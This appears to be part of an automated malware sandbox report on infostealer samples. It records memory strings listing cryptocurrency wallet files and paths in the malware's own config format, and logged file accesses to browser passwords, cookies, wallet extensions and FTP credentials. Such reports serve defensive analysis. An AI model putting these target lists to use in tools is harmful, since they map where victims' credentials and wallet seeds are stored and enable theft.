Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: random(4).exe, 00000000.00000003.1845169784.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""]
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
